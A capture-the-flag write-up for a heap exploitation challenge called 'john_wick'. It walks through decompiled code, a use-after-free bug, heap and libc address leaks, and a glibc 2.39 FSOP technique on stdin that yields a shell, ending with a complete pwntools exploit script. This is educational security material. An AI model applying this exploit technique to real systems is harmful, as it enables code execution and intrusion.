John Wick - BKSEC
19/03/2026
pwn | BKSEC
Challenge Description
File type
$ file john_wick
john_wick: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-2.39.so, BuildID[sha1]=2e84c6d0c7f8ee868d35ed8633acfc720abf9c9f, for GNU/Linux 3.2.0, stripped
Binary Protection
$ checksec john_wick
[*] './john_wick'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Background
- Here is preview of
john_wickexecution.
==================== BKSEC High Table ==================
============== CONTRACT MANAGEMENT SYSTEM ==============
1. Add a contract
2. Delete a contract
3. View a contract
4. Change status
5. Edit a contract description
6. Exit
> 1
Index: 0
CONTRACT NO.0 >>>
Name: SteGG
Age: 18
Height (cm): 171
Length of description: 12
Description: abc
Bounty (in BKSEC coin, 1 BKSEC coin = 6M$): 3
[*] Success!
==================== BKSEC High Table ==================
============== CONTRACT MANAGEMENT SYSTEM ==============
1. Add a contract
2. Delete a contract
3. View a contract
4. Change status
5. Edit a contract description
6. Exit
> 3
Index: 0
>>>>>>>> EXCOMMUNICADO <<<<<<<<
CONTRACT NO.0 >>>
Name: SteGG
Age: 18
Height: 171 cm
Description: abc
Bounty: 3 BKSEC coins - 18M$
Danger level: 0
Status: OPEN
==================== BKSEC High Table ==================
============== CONTRACT MANAGEMENT SYSTEM ==============
1. Add a contract
2. Delete a contract
3. View a contract
4. Change status
5. Edit a contract description
6. Exit
>
Decompile code
- Glibc version: 2.39
struct Contract {
unsigned __int32 age;
unsigned __int32 height;
unsigned __int32 length_desc;
char name[30];
unsigned __int16 bksec_coin;
unsigned __int16 mdollars;
unsigned __int16 danger_level;
char status[32];
char* description;
};
Contract* contracts[10];
int add_contract()
{
char *v1; // rax
int bounty; // [rsp+8h] [rbp-28h] BYREF
unsigned int idx; // [rsp+Ch] [rbp-24h]
unsigned int length_desc; // [rsp+10h] [rbp-20h]
unsigned int nbytes_4; // [rsp+14h] [rbp-1Ch]
Contract *new_contract; // [rsp+18h] [rbp-18h]
char *description; // [rsp+20h] [rbp-10h]
unsigned __int64 canary; // [rsp+28h] [rbp-8h]
canary = __readfsqword(0x28u);
new_contract = 0LL;
printf("Index: ");
idx = read_integer();
if ( idx <= 9 )
{
if ( contracts[idx] )
{
puts("Not available!!");
return 1337;
}
else
{
new_contract = (Contract *)malloc(88uLL);
if ( !new_contract )
{
puts("Error!");
exit(-1);
}
contracts[idx] = (__int64)new_contract;
printf("CONTRACT NO.%u >>>\n", idx);
memset(new_contract, 0, sizeof(Contract));
printf("Name: ");
read(0, new_contract->name, 29uLL);
printf("Age: ");
new_contract->age = read_integer();
printf("Height (cm): ");
new_contract->height = read_integer();
printf("Length of description: ");
length_desc = read_integer();
if ( length_desc <= 256 )
{
description = (char *)malloc(length_desc + 1);
if ( !description )
{
puts("Error!");
exit(-1);
}
printf("Description: ");
nbytes_4 = read(0, description, length_desc);
description[nbytes_4] = 0;
new_contract->description = description;
new_contract->length_desc = length_desc;
printf("Bounty (in BKSEC coin, 1 BKSEC coin = 6M$): ");
bounty = 0;
__isoc99_scanf("%d%*c", &bounty);
new_contract->bksec_coin = bounty;
*(_DWORD *)&new_contract->mdollars = 6 * new_contract->bksec_coin;
v1 = new_contract->status;
*(_DWORD *)new_contract->status = 0x4E45504F;// "OPEN"
v1[4] = 0;
return puts("[*] Success!");
}
else
{
puts("Too large!!");
free(new_contract);
return 1337;
}
}
}
else
{
puts("Invalid index!!");
return 1337;
}
}
int delete_contract()
{
unsigned int idx; // [rsp+4h] [rbp-Ch]
Contract *ptr; // [rsp+8h] [rbp-8h]
printf("Index: ");
idx = read_integer();
if ( idx <= 9 && contracts[idx] )
{
ptr = (Contract *)contracts[idx];
printf("CONTRACT NO.%u >>> Delete\n", idx);
free(ptr->description);
ptr->description = 0LL;
free(ptr);
contracts[idx] = 0LL;
return puts("[*] Success!");
}
else
{
puts("Invalid index!!");
return 1337;
}
}
__int64 view_contract()
{
unsigned int idx; // [rsp+4h] [rbp-Ch]
Contract *selected_contract; // [rsp+8h] [rbp-8h]
printf("Index: ");
idx = read_integer();
if ( idx <= 9 && contracts[idx] )
{
selected_contract = (Contract *)contracts[idx];
puts(">>>>>>>> EXCOMMUNICADO <<<<<<<<");
printf("CONTRACT NO.%u >>>\n", idx);
printf("Name: %s\n", selected_contract->name);
printf("Age: %d\n", selected_contract->age);
printf("Height: %d cm\n", selected_contract->height);
printf("Description: %s\n", selected_contract->description);
printf("Bounty: %hu BKSEC coins - %huM$\n", selected_contract->bksec_coin, selected_contract->mdollars);
printf("Danger level: %hu\n", selected_contract->danger_level);
printf("Status: %s\n", selected_contract->status);
return 0LL;
}
else
{
puts("Invalid index!!");
return 1337LL;
}
}
int change_status()
{
unsigned int idx; // [rsp+4h] [rbp-Ch]
Contract *selected_contract; // [rsp+8h] [rbp-8h]
printf("Index: ");
idx = read_integer();
if ( idx <= 9 && contracts[idx] )
{
selected_contract = (Contract *)contracts[idx];
printf("CONTRACT NO.%u >>> Danger level: %hu\n", idx, selected_contract->danger_level);
if ( selected_contract->danger_level > 4u )
{
printf("New status: ");
__isoc99_scanf("%32s", selected_contract->status);
return puts("[*] Success!");
}
else
{
puts("FAIL! You can only change the status of contracts with danger level greater than or equal to 5 (HIGH).");
return 1337;
}
}
else
{
puts("Invalid index!!");
return 1337;
}
}
int edit_contract()
{
unsigned int idx; // [rsp+0h] [rbp-10h]
Contract *selected_contract; // [rsp+8h] [rbp-8h]
printf("Index: ");
idx = read_integer();
if ( idx <= 9 && contracts[idx] )
{
selected_contract = (Contract *)contracts[idx];
printf("CONTRACT NO.%u >>> Edit description\n", idx);
printf("New description: ");
selected_contract->description[(unsigned int)read(0, selected_contract->description, selected_contract->length_desc)] = 0;
return puts("[*] Success!");
}
else
{
puts("Invalid index!!");
return 1337;
}
}
Vulnerability
- In
add_contract()function, if I input size of description larger than256, the program will free created contract at first. However, it forgot to set the selected element in global arraycontractstoNULL. That leads to use-after-free vulnerability.
Exploitation
Leak Heap Address
- That freed contract will be put into tcache.
- In glibc 2.39,
fdpointer of all chunks in tcache is protected by some bitwise action. However, for the first chunk, itsfdpointer is just heap address pointer and shift 12 bytes to the right. - Therefore, I tried to set
descriptionof a new contract to that freed pointer contract.
add_contract(0, b"SteGG", 18, 171, 0x60, b"A", 0)
add_contract(1, b"SteGG", 18, 171, 300, b"", 0)
delete_contract(0)
- Then I just need to use print operation and shift 12 bytes to the left to get heap address
view_contract(1)
target.recvuntil(b"Age: ")
lower_heap = int(target.recvuntil(b"\n", drop=True).decode()) << 12
target.recvuntil(b"Height: ")
higher_heap = int(target.recvuntil(b" cm\n", drop=True).decode()) << 44
heap_addr = higher_heap + lower_heap
print(f"Heap: {hex(heap_addr)}")
Leak Libc Address
- Since I put that freed contract into
descriptionfield, I can do an arbitrary write to any address by creating a fake contract with target address indescriptionfield - Here I want to write to address offset
0x3c8from heap address:
payload = p32(18) + p32(171) + p32(0xff) + b"A" * 29 + b"\x00" + p16(0x0) + p16(0x0) + p16(0x0) + b"A" * 32 + p64(heap_addr + 0x3c8)
add_contract(0, b"SteGG", 18, 171, 0x57, payload, 0)
- Now I just need to edit description of contract index 1 to modify content of target address
payload = p64(0x421) + p32(18) + p32(171) + p32(24) + b"A" * 30 + p16(0x0) + p16(0x0) + p16(0x0) + b"A" * 32 + p64(heap_addr + 0x3c8 + 0x420)
edit_contract(1, payload)
- The target is also a chunk in heap, I rewritten its size and 2 chunks after it so that when I free it, it will be put into unsorted bins. I just need to save a clone of its contract by using use-after-free again. when performing view contract action, I will get libc address.
add_contract(2, b"SteGG", 18, 171, 300, b"", 0)
add_contract(3, b"SteGG", 18, 171, 0x20, b"A", 0)
payload = p64(0x421) + p32(18) + p32(171) + p32(24) + b"A" * 30 + p16(0x0) + p16(0x0) + p16(0x0) + b"A" * 32 + p64(heap_addr + 0x3c8 + 0x420)
edit_contract(1, payload)
payload = p64(0x11) + b"\x00" * 8 + p64(0x11)
edit_contract(3, payload)
payload = p64(0x421) + p32(18) + p32(171) + p32(24) + b"A" * 30 + p16(0x0) + p16(0x0) + p16(0x0) + b"A" * 32 + p64(0x0)
edit_contract(1, payload)
delete_contract(3)
view_contract(2)
target.recvuntil(b"Age: ")
lower_libc = int(target.recvuntil(b"\n", drop=True).decode())
if lower_libc < 0:
lower_libc += 0x100000000
target.recvuntil(b"Height: ")
higher_libc = int(target.recvuntil(b" cm\n", drop=True).decode()) << 32
libc.address = higher_libc + lower_libc - 0x203b20
print(f"Libc: {hex(libc.address)}")
Get Shell
- To get shell in this challange, I decide to use FSOP technique and I will rewrite
_IO_2_1_stdin_. When I callscanf, it will trigger__uflowfunction invtableof_IO_2_1_stdin_ - Glibc 2.39 added mitigation to verify the vtable of
_IO_FILEstructure before run the function inside it. Therefore, I can only rewritewide_vtableof_wide_datapointer instdinand then rewritevtableto defaultwide_vtableof glibc (_IO_wide_jumps). - Code execution:
scanf->__vfscanf_internal->vtable->__uflow(_IO_wide_jumps->__uflow) ->vtable->__underflow(_IO_wide_jumps->__underflow) ->wide_data->wide_vtable->__doallocbuf - With the above code execution, I just need to set
systemaddress function to__doallocbufoffset and add/bin/shto_flagsfield ofstdinto get shell
Exploit Code
#!/usr/bin/env python
from pwn import *
import utils
context.terminal = ['kitty', '@', 'launch', '--type=os-window', '--cwd={}'.format(os.getcwd())]
context.log_level = "debug"
context.arch = "amd64"
TARGET = "./bin/john_wick"
LIBC = "./lib/libc.so.6"
if len(sys.argv) > 1 and sys.argv[1] == "remote":
target = remote("pwn-john-wick.training.bksec.vn", 8443)
else:
target = process(TARGET)
gdbscript = """
breakrva 0x1c4f
"""
# target: process | remote = gdb.debug(TARGET, gdbscript, env={"SHELL": "/bin/sh"})
exe = ELF(TARGET)
libc = ELF(LIBC)
"""
contracts: 0x4060
"""
def add_contract(index: int, name: bytes, age: int, height: int, length_desc: int, description: bytes, bounty: int):
target.sendafter(b"> ", b"1")
target.sendafter(b"Index: ", str(index).encode())
target.sendafter(b"Name: ", name)
target.sendafter(b"Age: ", str(age).encode())
target.sendafter(b"Height (cm): ", str(height).encode())
target.sendafter(b"Length of description: ", str(length_desc).encode())
if length_desc <= 256:
target.sendafter(b"Description: ", description)
target.sendlineafter(b"Bounty (in BKSEC coin, 1 BKSEC coin = 6M$): ", str(bounty).encode())
def delete_contract(index: int):
target.sendafter(b"> ", b"2")
target.sendafter(b"Index: ", str(index).encode())
def view_contract(index: int):
target.sendafter(b"> ", b"3")
target.sendafter(b"Index: ", str(index).encode())
def change_status(index: int, status: bytes):
target.sendafter(b"> ", b"4")
target.sendafter(b"Index: ", str(index).encode())
target.sendlineafter(b"New status: ", status)
def edit_contract(index: int, description: bytes):
target.sendafter(b"> ", b"5")
target.sendafter(b"Index: ", str(index).encode())
target.sendafter(b"New description: ", description)
def exit_func():
target.sendafter(b"> ", b"6")
add_contract(0, b"SteGG", 18, 171, 0x60, b"A", 0)
add_contract(1, b"SteGG", 18, 171, 300, b"", 0)
delete_contract(0)
view_contract(1)
target.recvuntil(b"Age: ")
lower_heap = int(target.recvuntil(b"\n", drop=True).decode()) << 12
target.recvuntil(b"Height: ")
higher_heap = int(target.recvuntil(b" cm\n", drop=True).decode()) << 44
heap_addr = higher_heap + lower_heap
print(f"Heap: {hex(heap_addr)}")
payload = p32(18) + p32(171) + p32(0xff) + b"A" * 29 + b"\x00" + p16(0x0) + p16(0x0) + p16(0x0) + b"A" * 32 + p64(heap_addr + 0x3c8)
add_contract(0, b"SteGG", 18, 171, 0x57, payload, 0)
add_contract(2, b"SteGG", 18, 171, 300, b"", 0)
add_contract(3, b"SteGG", 18, 171, 0x20, b"A", 0)
payload = p64(0x421) + p32(18) + p32(171) + p32(24) + b"A" * 30 + p16(0x0) + p16(0x0) + p16(0x0) + b"A" * 32 + p64(heap_addr + 0x3c8 + 0x420)
edit_contract(1, payload)
payload = p64(0x11) + b"\x00" * 8 + p64(0x11)
edit_contract(3, payload)
payload = p64(0x421) + p32(18) + p32(171) + p32(24) + b"A" * 30 + p16(0x0) + p16(0x0) + p16(0x0) + b"A" * 32 + p64(0x0)
edit_contract(1, payload)
delete_contract(3)
view_contract(2)
target.recvuntil(b"Age: ")
lower_libc = int(target.recvuntil(b"\n", drop=True).decode())
if lower_libc < 0:
lower_libc += 0x100000000
target.recvuntil(b"Height: ")
higher_libc = int(target.recvuntil(b" cm\n", drop=True).decode()) << 32
libc.address = higher_libc + lower_libc - 0x203b20
print(f"Libc: {hex(libc.address)}")
fake_file = libc.symbols["_IO_2_1_stdin_"]
# Make heap_addr + 0x3c8 become _wide_data
payload = flat({
# _wide_data->_IO_read_ptr
0x00: p64(0),
# _wide_data->_IO_read_end
0x8: p64(0),
# _wide_data->_IO_buf_base
0x30: p64(0),
# _wide_data->_IO_save_base
0x40: p64(0),
# _wide_data->_wide_vtable
0xe0: fake_file
})
edit_contract(1, payload)
payload = p32(18) + p32(171) + p32(0xff) + b"A" * 29 + b"\x00" + p16(0x0) + p16(0x0) + p16(0x8) + b"A" * 32 + p64(libc.symbols["_IO_2_1_stdin_"])
edit_contract(0, payload)
payload = flat(
{
# file._flags
0x00: b" sh\x00",
# file._IO_read_ptr
0x8: p64(0),
# file._IO_read_end
0x10: p64(0),
# file._IO_buf_base
0x38: p64(1),
# file._IO_save_base
0x48: p64(0),
# file._markers
0x60: p64(0),
# file._chain
0x68: libc.symbols["system"],
# file._lock
0x88: libc.symbols["_IO_stdfile_0_lock"],
# file._wide_data
0xa0: heap_addr + 0x3c8,
# file._mode
0xc0: p64(0),
# _vtable
0xd8: libc.symbols["_IO_wfile_jumps"],
}
)
edit_contract(1, payload)
change_status(1, b"Completed")
target.interactive()